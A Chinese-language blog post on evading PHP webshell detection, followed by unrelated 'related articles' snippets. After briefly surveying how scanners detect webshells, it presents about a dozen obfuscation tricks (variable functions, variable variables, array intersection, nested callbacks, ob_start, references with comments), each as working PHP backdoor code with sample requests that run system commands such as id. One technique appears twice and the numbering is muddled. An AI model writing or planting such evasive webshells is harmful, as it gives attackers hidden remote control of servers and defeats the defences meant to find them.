Webshell机制绕过的个人理解总结

embedded/2024/9/23 4:49:34/

Webshell是指我们上传到网站的一些恶意后门程序或代码注入,这些Webshell能够使我们获得对网站的远程控制。而Webshell的核心就是那些危险函数,即系统命令执行函数和代码执行函数

常见的系统命令执行函数system()exec()shell_exec()passthu()proc_open()反引号``

常见的代码执行函数eval()assert()preg_replace()creat_function()call_user_func()call_user_func_array()可变函数

对于Webshell免杀,我的思考与思路是“认知”-->“探测”-->“磨刀”-->“打击”

不知防,焉知攻,要想绕过Webshell的检测与查杀,那么首先需要知道的是它的检测查杀机制,主要可分为两大类,静态检查动态检查

了解检测机制后,就是使用各种手段去不断磨练样本,使其能够通过检查。

以下就是我所搜集了解的一些手段:

  1. 变量替换,通过接收的变量去替换执行函数名称
  2. 可变长参数,接收不固定数量的参数
  3. 嵌套括号执行,利用current()、Clouse::fromCallable静态方法等,去嵌套执行
  4. session_start(),配合save_path使得可以在指定目录下创建文件
  5. 类的静态方法
  6. ob_start(),让脚本的输出内容作为其函数参数(回调函数)的参数
  7. 引用免杀,使用注释与反引号拼接
  8. 可变变量,动态修改变量名称,如$$name
  9. 定义变量,在字符串中拼接变量执行
  10. 一/二维数组,将一句话木马放置到数组中执行
  11. 数组交集,使用交集构造函数名
  12. 回调函数,也就是常规的回调后门

一、Webshell检测

因为PHP类的Webshell变形技巧多,复杂且难以检测,所以主要理解的是PHP的Webshell,其他语言类推。

1、特征值匹配

Webshell想要实现主要有两步:数据的传递执行所传递的数据

因此这种检测的有效性主要取决于正则写的是否足够有效,高危代码块的特征库是否足够丰富

对于执行数据部分,我们可以收集关键字,匹配脚本文件中的关键词找出可疑函数,当执行数据部分匹配到可疑函数时,再进行判断其数据传递部分是否为用户可控,譬如$_POST$_GET$_REQUEST$_FILES$_COOKIE$_SERVER等等

最直接的一个格式就是危险函数(可控参数),当Webshell中出现这种格式,一般都会被认为是恶意代码

下面是一些常见高危函数:

  1. 数据传递:$_GET$_POST$_COOKIE$_SERVER
  2. 命令执行:execpassthrushell_execsystemeval
  3. 文件操作与远程 URL:filefile_get_contentsfopencurlfsockopen
  4. 回调函数:call_user_funccall_user_func_arrayarray_maparry_filter
  5. 其他高危函数:phpinfopreg_replacecreate_functionunserialize

2、哈希校验

哈希校验的主要工作原理是基于Webshell样本库,样本库的丰富程度决定了检测的有效性

模糊哈希(fuzzy hash)算法确定文件分块位置并记录分块,对每个分块计算哈希值然后进行结果比较最后计算整个文件的相似度

3、文件完整性检测

文件的创建时间(新增文件、新增Webshell),修改时间(原有文件注入Webshell),文件权限,所有者

当文件的以上特性发生变化时候,可以立刻针对该文件下发Webshell检测任务

4、动态行为检测

通过监控运行PHP的进程在系统上执行了那些系统调用或命令,这是通过动态行为特征防御Webshell的一种有效方式。动态检测通过木马程序的动态特性来检测,当木马程序被上传到服务器上后,攻击者总会去执行它,当木马程序被执行时表现出来的特征就是所谓的动态特诊

5、日志检测

日志检测则主要通过日志分析检测技术来实现,它主要通过分析大量的日志文件并建立请求模型来检测出异常文件。它的优点为当网站上的访问量级达到一致值时,这种检测方法具有比较大参考性价比。它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变得比较低。

二、免杀手段具体使用

1、变量替换

通过接收的变量去替换高危函数名称

<?php$parameters = $_GET[a];$parameter($_POST[shell]);
?>
?a=system
shell=phpinfo()

2、可变变量

可变变量是PHP中一种较为特殊的变量,它可以动态改变一个变量的名称,当然这种特性也可以用于木马的免杀中。

动态修改变量名称,如$$name

<?php$name = 'use';$use = 'hello';$$name = $_GET['a'];system($use);
?>
?a=id

2、可变长参数

接受不固定数量的参数,也就是将整个数组中的元素作为参数传入,数组有几个元素则有几个参数。

<?php$parameter = $_GET;usort(...$parameter);
?>
?0[0]=system&0[1]=id&1=call_user_func

2、数组交集

通过数组的交集可以获取我们想要的值,那么我们就可以将其利用到木马的结构当中

<?php$arr1 = array("sys"=>"1","tem"=>"2","c"=>"3","d"=>"4");$arr2 = array("sys"=>"11","tem"=>"22","cc"=>"33","dd"=>"44");$result = array_intersect_key($arr1,$arr2);$a = array_keys($result);$func = $a[0] . $a[1];$action = $_GET['action'];$func($action);
?>
?action=id

2、嵌套括号执行

利用current()、Clouse::fromCallable静态方法等,去嵌套执行

<?php$action = $_GET['action'];$parameters = $_GET;call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
?>
?action=current&a=current
a[]=system&b=id

<?php$action = $_GET['action'];$parameters = $_GET;if (isset($parameters['action'])) {unset($parameters['action']);}call_user_func($action, $parameters)($_POST['a'])($_POST['b']);
?>
?action=Closure::fromCallable&0=Closure&1=fromCallable 
a=system&b=id

2、类的静态方法
<?phpClass A{static function f(){system($_GET['a']);}}$action = $_GET['action'];$parameters = $_POST;call_user_func($action, $parameters);
?>
?action=call_user_func&a=id
0=A&1=f 

2、ob_start()缓冲区作为输入

ob_start()打开缓存区,然后将脚本的输出内容作为ob_start函数中的参数(回调函数)的参数

<?php$action = $_GET['action'];$parameters = $_POST['shell'];call_user_func($action, $parameters);echo $_POST['a'];
?>
?action=ob_start
shell=system&a=id

2、回调函数

array_map() 回调函数会返回用户自定义函数作用后的数组。array_map() 函数具体使用方法和参数说明如下:

在这里我们可以先定义一个函数test,其中第一个参数a用作回调函数名称,第二个参数b用作回调函数的参数,之后将其传递给array_map()函数进行执行,之后我们在外部调用test函数,同时传入我们的回调函数名称和回调函数的参数:

<?phpfunction test($a,$b){array_map($a,$b);}test(@system,array($_GET['action']));
?>
?action=id

2、一/二维数组

在免杀的时候,可以考虑将一句话木马放置到数组中执行来达到绕过的目的

<?php$a = substr_replace("systxx","em",4);$b = array(''=>$a($_GET['action']));
?>
?action=id

2、引用免杀

因为查杀软件会对参数的输入进行溯源,所以我们也是使用应用来尝试能否断开溯源,同时还可以使用注释与反引号拼接来混淆代码

<?php$b = &$a;$a = $_GET('a');$c = &$b;system(`/**123**/`.$c);
?>
?a=id

2、定义变量

在字符串中拼接变量执行

<?php$a = $_GET['a'];$var = "hello {${system($a)}}";
?>
?a=id

2、回调函数

array_map() 回调函数会返回用户自定义函数作用后的数组。array_map() 函数具体使用方法和参数说明如下:

在这里我们可以先定义一个函数test,其中第一个参数a用作回调函数名称,第二个参数b用作回调函数的参数,之后将其传递给array_map()函数进行执行,之后我们在外部调用test函数,同时传入我们的回调函数名称和回调函数的参数:

<?phpfunction test($a,$b){array_map($a,$b);}test(@system,array($_GET['action']));
?>
?action=id

三、总结

免杀手段的主要利用原理就是混淆代码、更改执行位置等,通过让检查机制混淆检查的结果,从而误认为该文件无害。

因为为了提高检查的效率和降低误报率,WAF等安全产品是存在一定的缺陷,并不会检查彻底,例如溯源查找有次数限制等等,那我们通过足够长的嵌套是有可能逃出查杀。


http://www.ppmy.cn/embedded/115418.html

相关文章

无服务器计算构建人工智能管理区块链系统

图片发自简书App 图片发自简书App 本发明属于网络版权管理技术领域&#xff0c;特别涉及一种以交易信息作 为唯一标准发行虚拟币的区块链系统。 背景技术 数字代币如比特币、以太坊等是区块链技术的实现方式之一&#xff0c;目 标是取代法定货币流通&#xff0c;通过“挖矿”的…

【数据仓库】数据仓库层次化设计

一、基本概念 **1. RDS&#xff08;RAW DATA STORES&#xff0c;原始数据存储&#xff09;** RDS作为原始数据存储层&#xff0c;用于存储来自各种源头的未经处理的数据。这些数据可能来自企业内部的业务系统、外部数据源或各种传感器等。RDS确保原始数据的完整性和可访问性&…

机器学习——Bagging

Bagging&#xff1a; 方法&#xff1a;集成n个base learner模型&#xff0c;每个模型都对原始数据集进行有放回的随机采样获得随机数据集&#xff0c;然后并行训练。 回归问题&#xff1a;n个base模型进行预测&#xff0c;将得到的预测值取平均得到最终结果。 分类问题&#xf…

Pybullet 安装过程

Pybullet 安装过程&#xff08;windows&#xff09; 1. 安装C编译工具2. 安装Pybullet 1. 安装C编译工具 pybullet 需要C编译套件&#xff0c;直接装之前检查下&#xff0c;要不会报缺少某版本MVSC的error&#xff0c;最好的方式是直接下载visual studio&#xff0c;直接按默认…

探索Python轻量级数据库:TinyDB的奇妙之旅

文章目录 探索Python轻量级数据库&#xff1a;TinyDB的奇妙之旅背景&#xff1a;为何选择TinyDB&#xff1f;什么是TinyDB&#xff1f;如何安装TinyDB&#xff1f;简单库函数使用方法场景应用常见Bug及解决方案总结 探索Python轻量级数据库&#xff1a;TinyDB的奇妙之旅 背景&…

Redis五中数据类型的底层实现

String字符串 字符串是 Redis 中最基础的数据类型&#xff0c;可以存储整数、浮点数或字符串。 底层实现&#xff1a;int整数编码和SDS简单动态字符串 SDS&#xff08;Simple Dynamic String简单动态字符串&#xff09;&#xff1a; Redis 并未直接使用 C 语言的 char 数组…

心理辅导系统:Spring Boot技术驱动

3 系统分析 3.1可行性分析 在进行可行性分析时&#xff0c;我们通常根据软件工程里方法&#xff0c;通过四个方面来进行分析&#xff0c;分别是技术、经济、操作和法律可行性。因此&#xff0c;在基于对目标系统的基本调查和研究后&#xff0c;对提出的基本方案进行可行性分析。…

淘宝npm镜像源更新后,如何正常使用npm命令

文章目录 一. npm命令报错二. 更换淘宝最新npm镜像源三. npm命令使用 一. npm命令报错 使用npm install *****命令 报错 npm error code CERT_HAS_EXPIRED npm error errno CERT_HAS_EXPIRED npm error request to https://registry.npm.taobao.org/express failed, reason: …